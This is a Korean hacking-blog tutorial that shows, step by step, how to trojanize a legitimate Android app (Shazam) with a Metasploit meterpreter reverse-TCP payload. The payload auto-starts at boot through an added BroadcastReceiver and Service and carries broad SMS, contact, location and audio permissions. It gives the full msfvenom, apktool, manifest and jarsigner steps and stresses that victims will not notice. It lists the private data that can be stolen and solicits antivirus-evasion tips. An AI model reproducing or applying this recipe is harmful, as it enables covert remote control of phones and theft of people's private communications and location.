본문 바로가기

HOW TO HACK/Android Hacking

[Android] 부팅 시 백그라운드로 실행되는 임베디드 백도어 만들기 (수작업)

# 본 게시글의 내용을 악의적인 목적으로 사용시 그에 대한 법적 책임을 포함한 모든 책임은 전적으로 당사자에게 있으며, 


   작성자는 어떠한 책임도 지지 않음을 밝힙니다.


# 본 게시글은 작성자 본인의 스터디한 내용을 바탕으로 작성된 글입니다. 따라서 일부 잘못된 정보가 포함되어있을 수 있습니다.


# 이 글을 열람하는 것은 위 사항에 동의하는 것으로 간주합니다.


# 잘못된 정보에 대한 예의바른 태클 및 지적질 적극 환영합니다.





1. Overview



안녕하세요. Mr. Rootable입니다.

지난 포스팅에서는 구글 플레이 스토어 등에서 제공되고 있는 정상 APK 파일에 Metasploit 페이로드를 임베디드하여 안드로이드백도어 APK 파일을 자동화 도구를 사용하지 않고 수작업으로 만들어보았습니다. 

앱 실행 시 실행되는 임베디드 백도어 만들기 (수작업)


하지만, 이 APK 파일은 희생자가 해당 앱을 직접 실행하고 있는 중에만 미터프리터 세션을 유지할 수 있다는 단점이 있습니다. 이에, 오늘은 희생자가 앱을 직접 실행하지 않아도.. 즉, 안드로이드 디바이스 부팅 시 백그라운드에서 자동으로 실행되게 하는 방법을 알아보도록 하겠습니다.

왠만한 희생자는 당연히 인지하지 못한 채 공격자 PC로 미터프리터 세션을 맺게 됩니다.

이 방법은 사실상 거의 2주에 걸쳐 혼자 구글링하며, 쓸어모은 지식을 통해 구현방식을 익힌 거라 일부 잘못된 부분이 있을지도 모릅니다. 

안드로이드에서 백그라운드로 실행되게 하려면 Activity, ContentProvider와 함께 안드로이드 4대 컴포넌트에 속해 있는 BroadcastReceiver(브로드캐스트리시버)와 Service(서비스)라는 것을 사용해야 합니다.


  • BroadcastReceiver 

항시 대기하고 있다가 안드로이드 단말기에서 일어나는 각종 이벤트를 감지하여 전달하는 역할을 합니다.

이벤트는 예를 들면, 기기 부팅 완료, 스크린 On/Off, SMS 수신, 카톡 수신 등등의 수많은 이벤트가 있습니다.

 

  • Service

백그라운드로 실행되는 서비스입니다. 쉽게 말해, 보이지 않게 앱이 실행된다 정도로 이해하시면 될 것 같습니다.



다행히도 msfvenom을 통해 만든 페이로드를 디컴파일해보면 필요한 파일들이 자동으로 만들어집니다.

저는 처음에 이것도 모르고, 안드로이드 스튜디오에서 직접 자바로 BroadcastReceiver와 Service 클래스를 만들어 각각을 smali코드로 변환해서 만들었는데...

덕분에 안드로이드 스튜디오의 플러그인 중 하나인 intellij-java2smali (깃허브 연결) 로 자바코드를 smali코드로 변환시키는 방법 등 새로 알게된 것들도 있었으니 뭐.. 쓸데없는 시간 낭비는 아니었습니다.


자, 다시 본론으로 돌아와서.. 우리가 만들어 볼 백도어의 동작 원리는 대략 아래 그림과 같습니다.

단지 이해를 돕기 위해 단순화 시킨 그림이니 실제 시스템 동작방식과는 조금 다를 수도 있습니다.


 1. 부팅이 완료되면 해당 액션정보(BOOT_COMPLETED)가 인텐트를 통해 앱에 전달됩니다.

 2. 앱의 BroadcastReceiver가 부팅이 완료되었다는 액션정보(BOOT_COMPLETED)를 받으면 Service를 실행합니다. 

 3. Service가 백그라운드로 실행되면서 Payload를 실행합니다.

 4. Payload는 공격자 PC에 Reverse Connection으로 미터프리터 세션을 맺습니다.


물론, Manifest.xml 파일에 퍼미션, 리시버, 서비스가 모두 등록이 되어 있어야 합니다. 

이제 실습을 해보겠습니다.




2. Hands-On



실습 환경은 아래 표와 같습니다.

 구분

공격자 

희생자 

 IP주소

 192.168.0.64

192.168.0.72 

 사용OS

 Kali Linux 2016.1

Android 5.0.1

 사용도구

 Metasploit

 Apktool (APK 컴파일/디컴파일 도구)

 jarsigner (APK 키 사이닝 도구)

 없음


사실상 아래 설명드릴 단계 중 Step 5, 6.. 두 단계를 제외하고는 모두 이전 포스팅에서 설명드린 앱 실행 시 실행되는 임베디드 백도어 만들기 (수작업)에서 보여드린 방법과 동일합니다. 동일한 Step은 간단하게 지나가도록 하겠습니다.



Step 1. 페이로드 만들기


msfvenom으로 미터프리터 페이로드 APK 파일을 만듭니다. 


# msfvenom -p android/meterpreter/reverse_tcp LHOST=192.168.0.64 LPORT=4444 -o meterpreter.apk




Step 2. 정상 APK 파일 다운로드


APK 파일을 다운로드 받을 수 있는 사이트(필자는 apkmirror.com)에서 원하는 앱의 APK파일을 Step 1에서 작업한 디렉토리와 동일한 디렉토리에 다운받습니다. (지난 포스팅의 Step 2와 내용 동일하니 자세한 내용은 생략합니다.)



Step 3. APK파일 디컴파일


아래 명령어를 통해 각 APK파일을 원하는 디렉토리에 디컴파일합니다.


# apktool d -f -o payload meterpreter.apk

# apktool d -f -o original_bg shazam_6.4.0.apk



디컴파일이 완료되면 현재 작업 디렉토리에 payload와 original_bg라는 디렉토리가 새로 생깁니다.



Step 4. 페이로드 복사


meterpreter.apk 파일을 디컴파일한 디렉토리(payload/)의 페이로드 파일(payload/smali/com/metasploit/)을 shazam_6.4.0.apk(기존 정상 APK) 파일을 디컴파일한 디렉토리내의 original_bg/smali/com/ 디렉토리로 통째로 복사합니다.


# cp -r payload/smali/com/metasploit/ original_bg/smali/com/

 

필요한 파일이 정상적으로 복사되었는지 확인해봅니다. 

아래 스크린샷처럼 파일이 복사되었고, 눈여겨 보실 파일이 바로 MainBroadcastReceiver.smailMainService.smali그리고 Payload.smali 입니다.



파일명에서 알 수 있듯이.. (위의 동작원리 그림 참조)

  • MainBroadcastReceiver.smail 는 기기 부팅 완료 알림을 받아 Service를 실행할 BroadcastReceiver 이고, 
  • MainService.smali는 BroadcastReceiver에 의해 실행되어, 페이로드를 실행할 Service 입니다.
  • Payload.smali는 최종적으로 공격자에게 연결을 수립하는 역할을 합니다.



Step 5. Manifest.xml 파일 수정 : Receiver, Service, Permission 추가


안드로이드 디바이스 부팅 시 자동으로 실행되게 하기 위해 BroadcastReceiver와 Service를 사용해야 하고, 이를 위해서는 Manifest.xml 파일에 Receiver와 Service를 등록해주어야 합니다. 

Manifest 파일이 무엇인지는 커니님의 블로그 글의 설명을 인용합니다.

자세한 내용은 링크타고 가보시길 권합니다.

 매니페스트 파일은 어플리케이션에 대한 전반적인 정보를 담고 있는 파일로, 안드로이드 시스템에서 어플리케이션의 정보를 

 알아내는데 사용합니다. 따라서 이 메니페스트 파일 안에는 어플리케이션 컴포넌트(액티비티, 서비스 등..) 뿐 아니라 

 어플리케이션 이름, 사용하는 라이브러리 등에 대한 모든 정보들이 포함되어 있죠. 

 즉, 메니페스트 파일은 어플리케이션의 "프로필"과 같은 역할을 한다고 보시면 됩니다.


먼저 아래 명령어로 Manifest.xml 파일을 오픈합니다.


# gedit ./original_bg/AndroidManifest.xml


Manifest.xml 파일에 아래의 텍스트를 추가합니다.


<!-- MainBroadcastReceiver 리시버 추가 --> 

<receiver android:name="com.metasploit.stage.MainBroadcastReceiver" android:enabled="true" android:exported="false">

            <intent-filter>

                <action android:name="android.intent.action.BOOT_COMPLETED"/>

            </intent-filter>

        </receiver> 

<!-- MainService 서비스 추가  -->

<service android:name="com.metasploit.stage.MainService"/>


저는 아래와 같이 <application> ~ </application> 태그 내부의 끝부분에 추가했습니다.



이제 필요한 퍼미션(권한)을 추가합니다.

아래 추가할 퍼미션 중 맨 아래의 RECEIVE_BOOT_COMPLETED 퍼미션은 안드로이드 디바이스 부팅 시 BroadcastReceiver를 통해 부팅이 완료되었음을 앱이 감지하기 위해 권한 추가가 필요합니다.


<!-- 퍼미션 추가 Start -->

    <uses-permission android:name="android.permission.ACCESS_FINE_LOCATION"/>

    <uses-permission android:name="android.permission.ACCESS_COARSE_LOCATION"/>

    <uses-permission android:name="android.permission.CHANGE_WIFI_STATE"/>

    <uses-permission android:name="android.permission.ACCESS_COURSE_LOCATION"/>

    <uses-permission android:name="android.permission.READ_SMS"/>

    <uses-permission android:name="android.permission.WRITE_SMS"/>

    <uses-permission android:name="android.permission.SEND_SMS"/>

    <uses-permission android:name="android.permission.RECEIVE_SMS"/>

    <uses-permission android:name="android.permission.RECORD_AUDIO"/>

    <uses-permission android:name="android.permission.CALL_PHONE"/>

    <uses-permission android:name="android.permission.READ_CALL_LOG"/>

    <uses-permission android:name="android.permission.READ_CONTACTS"/>


    <uses-permission android:name="android.permission.RECEIVE_BOOT_COMPLETED"/>

<!-- 퍼미션 추가 End -->


아래와 같이 추가했습니다.




Step 6. 후킹 등록 


이제 후킹을 등록할 차례입니다.

지난 포스팅에서 알아본 앱 실행 시 실행되는 백도어에서는 Manifest.xml 파일에서 LAUNCHER 액티비티를 찾아 해당 액티비티의 smali 코드안에 onCreate 함수 부분에 후킹을 등록했었습니다.

사실 이번에는 msfvenom을 통해 만들어진 페이로드 파일 중 MainService.smali 코드안에 이미 후킹이 등록되어 있어서 우리가 직접 등록할 필요가 없습니다.

어떤 부분인지 확인만 하고 가겠습니다. 아래 스크린샷의 빨간 박스 부분입니다.



Step 7. APK 리컴파일


apktool을 이용하여 백도어 임베디드 작업이 끝난 기존 apk의 디컴파일 디렉토리(original_bg/)를 리컴파일 합니다.


# apktool b original_bg



정상적으로 컴파일 되었습니다.



Step 8. 키 사이닝


jarsigner를 이용해 키 사이닝을 합니다. 

키가 없으면 지난 포스팅을 참조(여기)하여 keytool 도구를 이용하여 키를 생성하시면 됩니다.


# jarsigner -verbose -keystore ~/.android/debug.keystore -storepass android -keypass android -digestalg SHA1 -sigalg SHA1withDSA [apk파일명] androiddebugkey



키 사이닝까지 완료된 악성APK가 희생자의 안드로이드 디바이스에 설치되고, 해당 앱이 최초 1회 실행된 이후부터는 기기 부팅시마다 자동으로 공격자 PC에 Reverse_Tcp를 통해 연결되어 아래 스크린샷과 같이 희생자 PC의 미터프리터쉘을 딸 수 있습니다.


희생자 안드로이드 디바이스에는 아래와 같이 shazam이 자동으로 실행되어 있습니다.





3. Reference






4. Conclusion



지금까지 두번의 포스팅에 걸쳐 APK에 백도어를 임베드하는 방법을 알아보았습니다.

방법 자체는 크게 어렵지 않게 기존의 정상 APK에 백도어를 임베드할 수 있었고,

미터프리터에서 제공되는 기본 명령으로 연락처 덤프, SMS문자 덤프, 현 위치 확인(구글맵 연동), 녹음, 전/후 카메라 스트리밍 등

개인적인 민감정보에 쉽게 접근할 수 있었습니다. 

하지만, 무엇보다 가장 큰 이슈는 AV(AntiVirus)에 탐지가 된다는 것 입니다.

위의 모바일 스크린샷의 실행중인 V3에 단박에 걸려 버리더군요~^^ 

실제 해커들은 당연히 갖가지 AV우회기법을 동원해서 공격을 시도하겠죠?

즉, 안드로이드에서 AV 우회를 어떻게 하느냐가 궁금해지는데.. 아직 거기까지는 개인적으로 학습이 되질 않았네요. ㅎㅎ

좀 더 시간을 갖고 연구해봐야겠습니다. 

혹시 아시는 분이 있으시면 팁이라도 좀 댓글로 달아주시면 무척이나 감사하겠습니다.^^ <끝>